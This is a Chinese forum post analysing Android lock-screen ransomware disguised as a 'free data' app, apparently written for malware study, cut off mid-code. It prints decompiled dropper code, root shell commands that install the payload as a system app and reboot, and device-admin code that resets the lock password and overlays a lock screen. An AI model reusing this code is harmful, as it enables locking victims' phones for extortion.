本帖最后由 wnagzihxain 于 2016-10-11 00:10 编辑
刚刚有同学求助,专业收集APP20年,所以下了样本来分析一下
Jeb打开结果崩了,不明原因,难道是反Jeb???
Jeb不能用了那就上jdgui吧
有三个class文件,c是MainActivity,来看看代码
有经验的老司机可以一下子就看出来这是在把apk里带的ijm-x86.so弄成zihao.l文件,这里其实是一个伪造爱加密加固的假象 [Java] 纯文本查看 复制代码 package com.qqmagic;
import adrt.ADRTLogCatReader;
import android.app.Activity;
import android.content.res.AssetManager;
import android.os.Bundle;
import android.os.Environment;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
public class c
extends Activity
{
private Button b;
a del = new a();
String file = this.path + "/zihao.l";
String path = g();
private EditText t;
private void d(String paramString)
throws IOException
{
FileOutputStream localFileOutputStream = new FileOutputStream(paramString);
paramString = getAssets().open("ijm-x86.so");
byte[] arrayOfByte = new byte['?'];
for (int i = paramString.read(arrayOfByte);; i = paramString.read(arrayOfByte))
{
if (i <= 0)
{
localFileOutputStream.flush();
paramString.close();
localFileOutputStream.close();
return;
}
localFileOutputStream.write(arrayOfByte, 0, i);
}
}
public final String g()
{
String str = (String)null;
if (Environment.getExternalStorageState().equals("mounted")) {
str = Environment.getExternalStorageDirectory().getAbsolutePath();
}
return str;
}
@Override
protected void onCreate(Bundle paramBundle)
{
ADRTLogCatReader.onContext(this, "com.aide.ui");
super.onCreate(paramBundle);
setContentView(2130903040);
this.b = ((Button)findViewById(2131099648));
this.t = ((EditText)findViewById(R.id.mainEditText1));
this.b.setOnClickListener(new ButtonClickListener());
try
{
paramBundle = new java/lang/StringBuffer;
paramBundle.<init>();
d(this.path + "/zihao.l");
return;
}
catch (IOException paramBundle)
{
for (;;) {}
}
}
@Override
protected void onDestroy()
{
a.deleteFile(this.file);
super.onDestroy();
}
private final class ButtonClickListener
implements View.OnClickListener
{
public ButtonClickListener() {}
@Override
public void onClick(View paramView)
{
new b().rootShell();
a.deleteFile(c.this.file);
}
}
} 切到b.class [Java] 纯文本查看 复制代码 package com.qqmagic;
import java.util.List;
public class b
{
public static final String COMMAND_EXIT = "exit\n";
public static final String COMMAND_LINE_END = "\n";
public static final String COMMAND_SH = "sh";
public static final String COMMAND_SU = "su";
public static boolean checkRootPermission()
{
boolean bool = false;
if (execCommand("echo root", true, false).result != 0) {}
for (;;)
{
return bool;
bool = true;
}
}
public static CommandResult execCommand(String paramString, boolean paramBoolean)
{
return execCommand(new String[] { paramString }, paramBoolean, true);
}
public static CommandResult execCommand(String paramString, boolean paramBoolean1, boolean paramBoolean2)
{
return execCommand(new String[] { paramString }, paramBoolean1, paramBoolean2);
}
public static CommandResult execCommand(List<String> paramList, boolean paramBoolean)
{
if (paramList == null) {}
for (paramList = (String[])null;; paramList = (String[])paramList.toArray(new String[0])) {
return execCommand(paramList, paramBoolean, true);
}
}
public static CommandResult execCommand(List<String> paramList, boolean paramBoolean1, boolean paramBoolean2)
{
if (paramList == null) {}
for (paramList = (String[])null;; paramList = (String[])paramList.toArray(new String[0])) {
return execCommand(paramList, paramBoolean1, paramBoolean2);
}
}
public static CommandResult execCommand(String[] paramArrayOfString, boolean paramBoolean)
{
return execCommand(paramArrayOfString, paramBoolean, true);
}
/* Error */
public static CommandResult execCommand(String[] paramArrayOfString, boolean paramBoolean1, boolean paramBoolean2)
{
// Byte code:
// 0: iconst_m1
// 1: istore_3
// 2: aload_0
// 3: ifnull +8 -> 11
// 6: aload_0
// 7: arraylength
// 8: ifne +22 -> 30
// 11: new 6 com/qqmagic/b$CommandResult
// 14: dup
// 15: iconst_m1
// 16: aconst_null
// 17: checkcast 40 java/lang/String
// 20: aconst_null
// 21: checkcast 40 java/lang/String
// 24: invokespecial 64 com/qqmagic/b$CommandResult:<init> (ILjava/lang/String;Ljava/lang/String;)V
// 27: astore_0
// 28: aload_0
// 29: areturn
// 30: aconst_null
// 31: checkcast 66 java/lang/Process
// 34: astore 7
// 36: aconst_null
// 37: checkcast 68 java/io/BufferedReader
// 40: astore 12
// 42: aconst_null
// 43: checkcast 68 java/io/BufferedReader
// 46: astore 11
// 48: aconst_null
// 49: checkcast 70 java/lang/StringBuilder
// 52: astore 15
// 54: aconst_null
// 55: checkcast 70 java/lang/StringBuilder
// 58: astore 13
// 60: aconst_null
// 61: checkcast 72 java/io/DataOutputStream
// 64: astore 10
// 66: invokestatic 78 java/lang/Runtime:getRuntime ()Ljava/lang/Runtime;
// 69: astore 9
// 71: iload_1
// 72: ifeq +517 -> 589
// 75: ldc 20
// 77: astore 8
// 79: aload 9
// 81: aload 8
// 83: invokevirtual 82 java/lang/Runtime:exec (Ljava/lang/String;)Ljava/lang/Process;
// 86: astore 8
// 88: aload 8
// 90: astore 7
// 92: new 72 java/io/DataOutputStream
// 95: astore 8
// 97: aload 8
// 99: aload 7
// 101: invokevirtual 86 java/lang/Process:getOutputStream ()Ljava/io/OutputStream;
// 104: invokespecial 89 java/io/DataOutputStream:<init> (Ljava/io/OutputStream;)V
// 107: iconst_0
// 108: istore 6
// 110: iload_3
// 111: istore 4
// 113: aload 12
// 115: astore 14
// 117: aload 11
// 119: astore 16
// 121: aload 8
// 123: astore 17
// 125: aload 7
// 127: astore 18
// 129: iload_3
// 130: istore 5
// 132: iload 6
// 134: aload_0
// 135: arraylength
// 136: if_icmplt +460 -> 596
// 139: iload_3
// 140: istore 4
// 142: aload 12
// 144: astore 14
// 146: aload 11
// 148: astore 16
// 150: aload 8
// 152: astore 17
// 154: aload 7
// 156: astore 18
// 158: iload_3
// 159: istore 5
// 161: aload 8
// 163: ldc 11
// 165: invokevirtual 93 java/io/DataOutputStream:writeBytes (Ljava/lang/String;)V
// 168: iload_3
// 169: istore 4
// 171: aload 12
// 173: astore 14
// 175: aload 11
// 177: astore 16
// 179: aload 8
// 181: astore 17
// 183: aload 7
// 185: astore 18
// 187: iload_3
// 188: istore 5
// 190: aload 8
// 192: invokevirtual 96 java/io/DataOutputStream:flush ()V
// 195: iload_3
// 196: istore 4
// 198: aload 12
// 200: astore 14
// 202: aload 11
// 204: astore 16
// 206: aload 8
// 208: astore 17
// 210: aload 7
// 212: astore 18
// 214: iload_3
// 215: istore 5
// 217: aload 7
// 219: invokevirtual 100 java/lang/Process:waitFor ()I
// 222: istore_3
// 223: aload 12
// 225: astore_0
// 226: aload 11
// 228: astore 14
// 230: aload 15
// 232: astore 9
// 234: aload 13
// 236: astore 10
// 238: aload 8
// 240: astore 16
// 242: aload 7
// 244: astore 17
// 246: iload_3
// 247: istore 4
// 249: iload_2
// 250: ifeq +264 -> 514
// 253: iload_3
// 254: istore 4
// 256: aload 12
// 258: astore 14
// 260: aload 11
// 262: astore 16
// 264: aload 8
// 266: astore 17
// 268: aload 7
// 270: astore 18
// 272: iload_3
// 273: istore 5
// 275: new 70 java/lang/StringBuilder
// 278: astore_0
// 279: iload_3
// 280: istore 4
// 282: aload 12
// 284: astore 14
// 286: aload 11
// 288: astore 16
// 290: aload 8
// 292: astore 17
// 294: aload 7
// 296: astore 18
// 298: iload_3
// 299: istore 5
// 301: aload_0
// 302: invokespecial 101 java/lang/StringBuilder:<init> ()V
// 305: aload 12
// 307: astore 14
// 309: aload 11
// 311: astore 16
// 313: aload 8
// 315: astore 17
// 317: aload 7
// 319: astore 18
// 321: new 70 java/lang/StringBuilder
// 324: astore 10
// 326: aload 12
// 328: astore 14
// 330: aload 11
// 332: astore 16
// 334: aload 8
// 336: astore 17
// 338: aload 7
// 340: astore 18
// 342: aload 10
// 344: invokespecial 101 java/lang/StringBuilder:<init> ()V
// 347: aload 12
// 349: astore 14
// 351: aload 11
// 353: astore 16
// 355: aload 8
// 357: astore 17
// 359: aload 7
// 361: astore 18
// 363: new 68 java/io/BufferedReader
// 366: astore 9
// 368: aload 12
// 370: astore 14
// 372: aload 11
// 374: astore 16
// 376: aload 8
// 378: astore 17
// 380: aload 7
// 382: astore 18
// 384: new 103 java/io/InputStreamReader
// 387: astore 13
// 389: aload 12
// 391: astore 14
// 393: aload 11
// 395: astore 16
// 397: aload 8
// 399: astore 17
// 401: aload 7
// 403: astore 18
// 405: aload 13
// 407: aload 7
// 409: invokevirtual 107 java/lang/Process:getInputStream ()Ljava/io/InputStream;
// 412: invokespecial 110 java/io/InputStreamReader:<init> (Ljava/io/InputStream;)V
// 415: aload 12
// 417: astore 14
// 419: aload 11
// 421: astore 16
// 423: aload 8
// 425: astore 17
// 427: aload 7
// 429: astore 18
// 431: aload 9
// 433: aload 13
// 435: invokespecial 113 java/io/BufferedReader:<init> (Ljava/io/Reader;)V
// 438: new 68 java/io/BufferedReader
// 441: astore 12
// 443: new 103 java/io/InputStreamReader
// 446: astore 13
// 448: aload 13
// 450: aload 7
// 452: invokevirtual 116 java/lang/Process:getErrorStream ()Ljava/io/InputStream;
// 455: invokespecial 110 java/io/InputStreamReader:<init> (Ljava/io/InputStream;)V
// 458: aload 12
// 460: aload 13
// 462: invokespecial 113 java/io/BufferedReader:<init> (Ljava/io/Reader;)V
// 465: aload 9
// 467: invokevirtual 120 java/io/BufferedReader:readLine ()Ljava/lang/String;
// 470: astore 11
// 472: aload 11
// 474: ifnonnull +279 -> 753
// 477: aload 12
// 479: invokevirtual 120 java/io/BufferedReader:readLine ()Ljava/lang/String;
// 482: astore 11
// 484: aload 11
// 486: ifnonnull +314 -> 800
// 489: aload 9
// 491: astore 11
// 493: iload_3
// 494: istore 4
// 496: aload 7
// 498: astore 17
// 500: aload 8
// 502: astore 16
// 504: aload_0
// 505: astore 9
// 507: aload 12
// 509: astore 14
// 511: aload 11
// 513: astore_0
// 514: aload 16
// 516: ifnull +8 -> 524
// 519: aload 16
// 521: invokevirtual 123 java/io/DataOutputStream:close ()V
// 524: aload_0
// 525: ifnull +7 -> 532
// 528: aload_0
// 529: invokevirtual 124 java/io/BufferedReader:close ()V
// 532: aload 14
// 534: ifnull +8 -> 542
// 537: aload 14
// 539: invokevirtual 124 java/io/BufferedReader:close ()V
// 542: aload 17
// 544: ifnull +8 -> 552
// 547: aload 17
// 549: invokevirtual 127 java/lang/Process:destroy ()V
// 552: aload 9
// 554: ifnonnull +391 -> 945
// 557: aconst_null
// 558: checkcast 40 java/lang/String
// 561: astore_0
// 562: aload 10
// 564: ifnonnull +390 -> 954
// 567: aconst_null
// 568: checkcast 40 java/lang/String
// 571: astore 7
// 573: new 6 com/qqmagic/b$CommandResult
// 576: dup
// 577: iload 4
// 579: aload_0
// 580: aload 7
// 582: invokespecial 64 com/qqmagic/b$CommandResult:<init> (ILjava/lang/String;Ljava/lang/String;)V
// 585: astore_0
// 586: goto -558 -> 28
// 589: ldc 17
// 591: astore 8
// 593: goto -514 -> 79
// 596: aload_0
// 597: iload 6
// 599: aaload
// 600: astore 9
// 602: aload 9
// 604: ifnonnull +9 -> 613
// 607: iinc 6 1
// 610: goto -500 -> 110
// 613: iload_3
// 614: istore 4
// 616: aload 12
// 618: astore 14
// 620: aload 11
// 622: astore 16
// 624: aload 8
// 626: astore 17
// 628: aload 7
// 630: astore 18
// 632: iload_3
// 633: istore 5
// 635: aload 8
// 637: aload 9
// 639: invokevirtual 131 java/lang/String:getBytes ()[B
// 642: invokevirtual 135 java/io/DataOutputStream:write ([B)V
// 645: iload_3
// 646: istore 4
// 648: aload 12
// 650: astore 14
// 652: aload 11
// 654: astore 16
// 656: aload 8
// 658: astore 17
// 660: aload 7
// 662: astore 18
// 664: iload_3
// 665: istore 5
// 667: aload 8
// 669: ldc 14
// 671: invokevirtual 93 java/io/DataOutputStream:writeBytes (Ljava/lang/String;)V
// 674: iload_3
// 675: istore 4
// 677: aload 12
// 679: astore 14
// 681: aload 11
// 683: astore 16
// 685: aload 8
// 687: astore 17
// 689: aload 7
// 691: astore 18
// 693: iload_3
// 694: istore 5
// 696: aload 8
// 698: invokevirtual 96 java/io/DataOutputStream:flush ()V
// 701: goto -94 -> 607
// 704: astore 10
// 706: aload 7
// 708: astore_0
// 709: iload 4
// 711: istore_3
// 712: aload 8
// 714: astore 7
// 716: aload 15
// 718: astore 9
// 720: aload 10
// 722: astore 8
// 724: aload 8
// 726: invokevirtual 138 java/io/IOException:printStackTrace ()V
// 729: aload_0
// 730: astore 17
// 732: aload 12
// 734: astore_0
// 735: aload 11
// 737: astore 14
// 739: aload 13
// 741: astore 10
// 743: aload 7
// 745: astore 16
// 747: iload_3
// 748: istore 4
// 750: goto -236 -> 514
// 753: aload_0
// 754: aload 11
// 756: invokevirtual 142 java/lang/StringBuilder:append (Ljava/lang/String;)Ljava/lang/StringBuilder;
// 759: pop
// 760: goto -295 -> 465
// 763: astore 13
// 765: aload 12
// 767: astore 11
// 769: aload 9
// 771: astore 12
// 773: aload_0
// 774: astore 9
// 776: aload 8
// 778: astore_0
// 779: aload 7
// 781: astore 14
// 783: aload 13
// 785: astore 8
// 787: aload 10
// 789: astore 13
// 791: aload_0
// 792: astore 7
// 794: aload 14
// 796: astore_0
// 797: goto -73 -> 724
// 800: aload 10
// 802: aload 11
// 804: invokevirtual 142 java/lang/StringBuilder:append (Ljava/lang/String;)Ljava/lang/StringBuilder;
// 807: pop
// 808: goto -331 -> 477
// 811: astore 13
// 813: aload 12
// 815: astore 11
// 817: aload 9
// 819: astore 12
// 821: aload_0
// 822: astore 9
// 824: aload 13
// 826: astore_0
// 827: aload 12
// 829: astore 14
// 831: aload 11
// 833: astore 16
// 835: aload 8
// 837: astore 17
// 839: aload 7
// 841: astore 18
// 843: aload_0
// 844: invokevirtual 143 java/lang/Exception:printStackTrace ()V
// 847: aload 12
// 849: astore_0
// 850: aload 11
// 852: astore 14
// 854: aload 8
// 856: astore 16
// 858: aload 7
// 860: astore 17
// 862: iload_3
// 863: istore 4
// 865: goto -351 -> 514
// 868: astore_0
// 869: aload 18
// 871: astore 7
// 873: aload 17
// 875: astore 8
// 877: aload 16
// 879: astore 11
// 881: aload 14
// 883: astore 12
// 885: aload 8
// 887: ifnull +8 -> 895
// 890: aload 8
// 892: invokevirtual 123 java/io/DataOutputStream:close ()V
// 895: aload 12
// 897: ifnull +8 -> 905
// 900: aload 12
// 902: invokevirtual 124 java/io/BufferedReader:close ()V
// 905: aload 11
// 907: ifnull +8 -> 915
// 910: aload 11
// 912: invokevirtual 124 java/io/BufferedReader:close ()V
// 915: aload 7
// 917: ifnull +8 -> 925
// 920: aload 7
// 922: invokevirtual 127 java/lang/Process:destroy ()V
// 925: aload_0
// 926: athrow
// 927: astore 8
// 929: aload 8
// 931: invokevirtual 138 java/io/IOException:printStackTrace ()V
// 934: goto -19 -> 915
// 937: astore_0
// 938: aload_0
// 939: invokevirtual 138 java/io/IOException:printStackTrace ()V
// 942: goto -400 -> 542
// 945: aload 9
// 947: invokevirtual 146 java/lang/StringBuilder:toString ()Ljava/lang/String;
// 950: astore_0
// 951: goto -389 -> 562
// 954: aload 10
// 956: invokevirtual 146 java/lang/StringBuilder:toString ()Ljava/lang/String;
// 959: astore 7
// 961: goto -388 -> 573
// 964: astore_0
// 965: aload 10
// 967: astore 8
// 969: goto -84 -> 885
// 972: astore_0
// 973: aload 10
// 975: astore 8
// 977: goto -92 -> 885
// 980: astore_0
// 981: aload 9
// 983: astore 12
// 985: goto -100 -> 885
// 988: astore_0
// 989: aload 12
// 991: astore 11
// 993: aload 9
// 995: astore 12
// 997: goto -112 -> 885
// 1000: astore 8
// 1002: aload_0
// 1003: astore 9
// 1005: aload 8
// 1007: astore_0
// 1008: aload 7
// 1010: astore 8
// 1012: aload 9
// 1014: astore 7
// 1016: goto -131 -> 885
// 1019: astore_0
// 1020: aload 10
// 1022: astore 8
// 1024: aload 15
// 1026: astore 9
// 1028: aload 13
// 1030: astore 10
// 1032: goto -205 -> 827
// 1035: astore_0
// 1036: aload 10
// 1038: astore 8
// 1040: aload 15
// 1042: astore 9
// 1044: aload 13
// 1046: astore 10
// 1048: goto -221 -> 827
// 1051: astore_0
// 1052: aload 15
// 1054: astore 9
// 1056: aload 13
// 1058: astore 10
// 1060: iload 5
// 1062: istore_3
// 1063: goto -236 -> 827
// 1066: astore 10
// 1068: aload_0
// 1069: astore 9
// 1071: aload 10
// 1073: astore_0
// 1074: aload 13
// 1076: astore 10
// 1078: goto -251 -> 827
// 1081: astore 13
// 1083: aload_0
// 1084: astore 9
// 1086: aload 13
// 1088: astore_0
// 1089: goto -262 -> 827
// 1092: astore 13
// 1094: aload 9
// 1096: astore 12
// 1098: aload_0
// 1099: astore 9
// 1101: aload 13
// 1103: astore_0
// 1104: goto -277 -> 827
// 1107: astore 8
// 1109: iconst_m1
// 1110: istore_3
// 1111: aload 7
// 1113: astore_0
// 1114: aload 15
// 1116: astore 9
// 1118: aload 10
// 1120: astore 7
// 1122: goto -398 -> 724
// 1125: astore 8
// 1127: aload 7
// 1129: astore_0
// 1130: iconst_m1
// 1131: istore_3
// 1132: aload 15
// 1134: astore 9
// 1136: aload 10
// 1138: astore 7
// 1140: goto -416 -> 724
// 1143: astore 14
// 1145: aload_0
// 1146: astore 9
// 1148: aload 8
// 1150: astore_0
// 1151: aload 7
// 1153: astore 10
// 1155: aload 14
// 1157: astore 8
// 1159: aload_0
// 1160: astore 7
// 1162: aload 10
// 1164: astore_0
// 1165: goto -441 -> 724
// 1168: astore 13
// 1170: aload_0
// 1171: astore 9
// 1173: aload 8
// 1175: astore_0
// 1176: aload 7
// 1178: astore 14
// 1180: aload 13
// 1182: astore 8
// 1184: aload 10
// 1186: astore 13
// 1188: aload_0
// 1189: astore 7
// 1191: aload 14
// 1193: astore_0
// 1194: goto -470 -> 724
// 1197: astore 12
// 1199: aload 9
// 1201: astore 13
// 1203: aload_0
// 1204: astore 9
// 1206: aload 8
// 1208: astore 14
// 1210: aload 7
// 1212: astore_0
// 1213: aload 12
// 1215: astore 8
// 1217: aload 13
// 1219: astore 12
// 1221: aload 10
// 1223: astore 13
// 1225: aload 14
// 1227: astore 7
// 1229: goto -505 -> 724
// Local variable table:
// start length slot name signature
// 0 1232 0 paramArrayOfString String[]
// 0 1232 1 paramBoolean1 boolean
// 0 1232 2 paramBoolean2 boolean
// 1 1131 3 i int
// 111 753 4 j int
// 130 931 5 k int
// 108 500 6 m int
// 34 1194 7 localObject1 Object
// 77 814 8 localObject2 Object
// 927 3 8 localIOException1 java.io.IOException
// 967 9 8 localObject3 Object
// 1000 6 8 localObject4 Object
// 1010 29 8 localObject5 Object
// 1107 1 8 localIOException2 java.io.IOException
// 1125 24 8 localIOException3 java.io.IOException
// 1157 59 8 localObject6 Object
// 69 1136 9 localObject7 Object
// 64 499 10 localObject8 Object
// 704 17 10 localIOException4 java.io.IOException
// 741 318 10 localObject9 Object
// 1066 6 10 localException1 Exception
// 1076 146 10 localObject10 Object
// 46 946 11 localObject11 Object
// 40 1057 12 localObject12 Object
// 1197 17 12 localIOException5 java.io.IOException
// 1219 1 12 localObject13 Object
// 58 682 13 localObject14 Object
// 763 21 13 localIOException6 java.io.IOException
// 789 1 13 localObject15 Object
// 811 264 13 localException2 Exception
// 1081 6 13 localException3 Exception
// 1092 10 13 localException4 Exception
// 1168 13 13 localIOException7 java.io.IOException
// 1186 38 13 localObject16 Object
// 115 767 14 localObject17 Object
// 1143 13 14 localIOException8 java.io.IOException
// 1178 48 14 localObject18 Object
// 52 1081 15 localStringBuilder StringBuilder
// 119 759 16 localObject19 Object
// 123 751 17 localObject20 Object
// 127 743 18 localObject21 Object
// Exception table:
// from to target type
// 132 139 704 java/io/IOException
// 161 168 704 java/io/IOException
// 190 195 704 java/io/IOException
// 217 223 704 java/io/IOException
// 275 279 704 java/io/IOException
// 301 305 704 java/io/IOException
// 635 645 704 java/io/IOException
// 667 674 704 java/io/IOException
// 696 701 704 java/io/IOException
// 465 472 763 java/io/IOException
// 477 484 763 java/io/IOException
// 753 760 763 java/io/IOException
// 800 808 763 java/io/IOException
// 465 472 811 java/lang/Exception
// 477 484 811 java/lang/Exception
// 753 760 811 java/lang/Exception
// 800 808 811 java/lang/Exception
// 132 139 868 finally
// 161 168 868 finally
// 190 195 868 finally
// 217 223 868 finally
// 275 279 868 finally
// 301 305 868 finally
// 321 326 868 finally
// 342 347 868 finally
// 363 368 868 finally
// 384 389 868 finally
// 405 415 868 finally
// 431 438 868 finally
// 635 645 868 finally
// 667 674 868 finally
// 696 701 868 finally
// 843 847 868 finally
// 890 895 927 java/io/IOException
// 900 905 927 java/io/IOException
// 910 915 927 java/io/IOException
// 519 524 937 java/io/IOException
// 528 532 937 java/io/IOException
// 537 542 937 java/io/IOException
// 66 71 964 finally
// 79 88 964 finally
// 92 107 972 finally
// 438 465 980 finally
// 465 472 988 finally
// 477 484 988 finally
// 753 760 988 finally
// 800 808 988 finally
// 724 729 1000 finally
// 66 71 1019 java/lang/Exception
// 79 88 1019 java/lang/Exception
// 92 107 1035 java/lang/Exception
// 132 139 1051 java/lang/Exception
// 161 168 1051 java/lang/Exception
// 190 195 1051 java/lang/Exception
// 217 223 1051 java/lang/Exception
// 275 279 1051 java/lang/Exception
// 301 305 1051 java/lang/Exception
// 635 645 1051 java/lang/Exception
// 667 674 1051 java/lang/Exception
// 696 701 1051 java/lang/Exception
// 321 326 1066 java/lang/Exception
// 342 347 1066 java/lang/Exception
// 363 368 1081 java/lang/Exception
// 384 389 1081 java/lang/Exception
// 405 415 1081 java/lang/Exception
// 431 438 1081 java/lang/Exception
// 438 465 1092 java/lang/Exception
// 66 71 1107 java/io/IOException
// 79 88 1107 java/io/IOException
// 92 107 1125 java/io/IOException
// 321 326 1143 java/io/IOException
// 342 347 1143 java/io/IOException
// 363 368 1168 java/io/IOException
// 384 389 1168 java/io/IOException
// 405 415 1168 java/io/IOException
// 431 438 1168 java/io/IOException
// 438 465 1197 java/io/IOException
}
void rootShell()
{
execCommand(new String[] { "mount -o rw,remount /system", "mount -o rw,remount /system/app", "cp /sdcard/zihao.l /system/app/", "chmod 777 /system/app/zihao.l", "mv /system/app/zihao.l /system/app/zihao.apk", "chmod 644 /system/app/zihao.apk", "reboot" }, true);
}
public static class CommandResult
{
public String errorMsg;
public int result;
public String successMsg;
public CommandResult(int paramInt)
{
this.result = paramInt;
}
public CommandResult(int paramInt, String paramString1, String paramString2)
{
this.result = paramInt;
this.successMsg = paramString1;
this.errorMsg = paramString2;
}
}
} 有些地方反编译出错了,估计是击中了jdgui的bug了,但是没关系,关键代码还是可以看出来的 [Java] 纯文本查看 复制代码 void rootShell()
{
execCommand(new String[] { "mount -o rw,remount /system", "mount -o rw,remount /system/app", "cp /sdcard/zihao.l /system/app/", "chmod 777 /system/app/zihao.l", "mv /system/app/zihao.l /system/app/zihao.apk", "chmod 644 /system/app/zihao.apk", "reboot" }, true);
} 刚刚弄出了一个zihao.l,然后把这个文件弄到system/app目录下,命名为zihao.apk,这是系统app的目录,一般来说不能直接卸载,所以这是一个apk文件,而刚刚这个只有三个clsaa文件的apk只是一层壳
然后来解压这个apk
看assets文件夹的文件,看起来像是爱加密的加固,其实不是,现在的查壳工具有些是靠遍历apk文件的so文件来区别壳的,所以很容易迷惑
而ijm-x86.so就是真正的锁机apk
那我们现在来安装一下看看,安装完,进去点击一键开启免流,结果就卡住了,这里卡住是因为前面的命令里最后是reboot设备,加上我乱点了一下,那就强行结束好了
重启设备后发现被锁屏,这女的真丑,胸也小看到了一个解锁序列号:1383562,然后无法回到桌面,继续重启依旧是该界面
那我们就来分析一下这玩意
Jeb打开这个apk,变量名自己修改,这里就不讲了
找到入口,MainActivity里隐式意图开启了设备管理器的激活 [Java] 纯文本查看 复制代码 package com.h;
import adrt.ADRTLogCatReader;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
public class MainActivity extends Activity {
public MainActivity() {
super();
}
private void activiteDevice() {
Class class0;
Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
try {
class0 = Class.forName("com.h.MyAdmin");
}
catch(ClassNotFoundException classNotFoundException) {
throw new NoClassDefFoundError(((Throwable)classNotFoundException).getMessage());
}
intent.putExtra("android.app.extra.DEVICE_ADMIN", new ComponentName(((Context)this), class0));
this.startActivityForResult(intent, 0);
}
@Override public void onCreate(Bundle bundle) {
ADRTLogCatReader.onContext(((Context)this), "com.aide.ui");
super.onCreate(bundle);
this.activiteDevice();
}
} 设备管理器的操作一定会重写部分方法,过去看看 [Java] 纯文本查看 复制代码 package com.h;
import android.app.admin.DeviceAdminReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
public class MyAdmin extends DeviceAdminReceiver {
public MyAdmin() {
super();
}
@Override public CharSequence onDisableRequested(Context context, Intent intent) {
String string = Integer.toString(1008);
this.getManager(context).lockNow();
this.getManager(context).resetPassword(string, 0);
return super.onDisableRequested(context, intent);
}
@Override public void onEnabled(Context context, Intent intent) {
Class class0;
MyAdmin myAdmin = this;
Context context = context;
Intent intent = intent;
String string = Integer.toString(1008);
Intent intent = null;
Intent intent = null;
Context context = context;
try {
class0 = Class.forName("com.h.s");
}
catch(ClassNotFoundException classNotFoundException0) {
throw new NoClassDefFoundError(classNotFoundException0.getMessage());
}
super(context, class0);
intent.setFlags(268435456);
context.startService(intent);
myAdmin.getManager(context).resetPassword(string, 0);
super.onEnabled(context, intent);
}
@Override public void onPasswordChanged(Context context, Intent intent) {
String string = Integer.toString(1008);
this.getManager(context).lockNow();
this.getManager(context).resetPassword(string, 0);
super.onPasswordChanged(context, intent);
}
@Override public void onReceive(Context context, Intent intent) {
Log.i("------", "onReceive-----");
super.onReceive(context, intent);
}
} 当我们激活设备管理器的时候,会触发onEnable()方法,代码中也可以看出来,直接启动了com.h.s,并且重设锁屏密码为1008
那我们现在来看看这个com.h.s [Java] 纯文本查看 复制代码 package com.h;
import adrt.ADRTLogCatReader;
import android.app.Application;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences$Editor;
import android.net.NetworkInfo;
import android.os.IBinder;
import android.view.LayoutInflater;
import android.view.View;
import android.view.View$OnClickListener;
import android.view.WindowManager;
import android.view.WindowManager$LayoutParams;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
public class LockScreen extends Service {
class myThread extends Thread {
private final LockScreen this$0;
myThread(LockScreen arg1) {
super();
LockScreen.this = arg1;
}
static LockScreen access$0(myThread arg1) {
return arg1.this$0;
}
public void run() {
}
}
class ClickListener implements View$OnClickListener {
private final LockScreen this$0;
ClickListener(LockScreen arg1) {
super();
LockScreen.this = arg1;
}
static LockScreen access$0(ClickListener arg1) {
return arg1.this$0;
}
@Override public void onClick(View arg6) {
try {
if(!LockScreen.this.edittext.getText().toString().equals(LockScreen.this.du.decrypt(
LockScreen.this.sharedpreferences.getString("passw", "")))) {
return;
}
LockScreen.this.mWindowManager.removeView(LockScreen.this.mFloatLayout);
LockScreen.this.stopSelf();
}
catch(Exception exception0) {
}
}
}
Button button;
DU du;
EditText edittext;
SharedPreferences$Editor editor;
private View mFloatLayout;
private WindowManager mWindowManager;
long randomNumber;
Long passw;
String password;
String ppss;
SharedPreferences sharedpreferences;
TextView textview;
private WindowManager$LayoutParams wmParams;
public LockScreen() {
super();
}
static WindowManager access$L1000001(LockScreen LockScreen_this) {
return LockScreen_this.mWindowManager;
}
static View access$L1000002(LockScreen LockScreen_this) {
return LockScreen_this.mFloatLayout;
}
static void access$S1000001(LockScreen LockScreen_this, WindowManager arg7) {
LockScreen_this.mWindowManager = arg7;
}
static void access$S1000002(LockScreen LockScreen_this, View arg7) {
LockScreen_this.mFloatLayout = arg7;
}
private void c() {
LockScreen LockScreen_this = this;
LockScreen_this.wmParams = new WindowManager$LayoutParams();
Application application0 = LockScreen_this.getApplication();
LockScreen_this.getApplication();
LockScreen_this.mWindowManager = application0.getSystemService(Context.WINDOW_SERVICE);
LockScreen_this.wmParams.type = 2010;
LockScreen_this.wmParams.format = 1;
LockScreen_this.wmParams.flags = 1280;
LockScreen_this.wmParams.gravity = 49;
LockScreen_this.wmParams.x = 0;
LockScreen_this.wmParams.y = 0;
LockScreen_this.wmParams.width = -1;
LockScreen_this.wmParams.height = -1;
LockScreen_this.mFloatLayout = LayoutInflater.from(LockScreen_this.getApplication()).inflate(
2130903041, null);
LockScreen_this.mWindowManager.addView(LockScreen_this.mFloatLayout, LockScreen_this.wmParams);
LockScreen_this.button = LockScreen_this.mFloatLayout.findViewById(2131296258);
LockScreen_this.edittext = LockScreen_this.mFloatLayout.findViewById(2131296257);
LockScreen_this.textview = LockScreen_this.mFloatLayout.findViewById(2131296256);
LockScreen LockScreen_this = LockScreen_this;
try {
LockScreen_this.edittext.setHint("宝贝在这输入密码哦!");
LockScreen_this.textview.append("随机码:");
}
catch(Exception exception0) {
}
LockScreen_this.button.setOnClickListener(new ClickListener(LockScreen_this));
LockScreen_this = LockScreen_this;
try {
LockScreen_this.textview.append(new StringBuffer().append(new StringBuffer().append("\n")
.append(LockScreen_this.du.decrypt("e60b6ba97b41a1c7a31f1228d55280a8243703be7d4aa15c"))
.toString()).append(LockScreen_this.sharedpreferences.getLong("m", ((long)0))).toString());
}
catch(Exception exception0) {
}
}
public boolean is(Context arg9) {
boolean bool;
Context context = arg9;
if(context != null) {
NetworkInfo networkInfo = context.getSystemService("connectivity").getActiveNetworkInfo();
if(networkInfo != null) {
bool = networkInfo.isAvailable();
}
else {
goto label_17;
}
}
else {
label_17:
bool = false;
}
return bool;
}
@Override public IBinder onBind(Intent arg5) {
return null;
}
@Override public void onCreate() {
LockScreen LockScreen_this = this;
ADRTLogCatReader.onContext(LockScreen_this, "com.aide.ui");
super.onCreate();
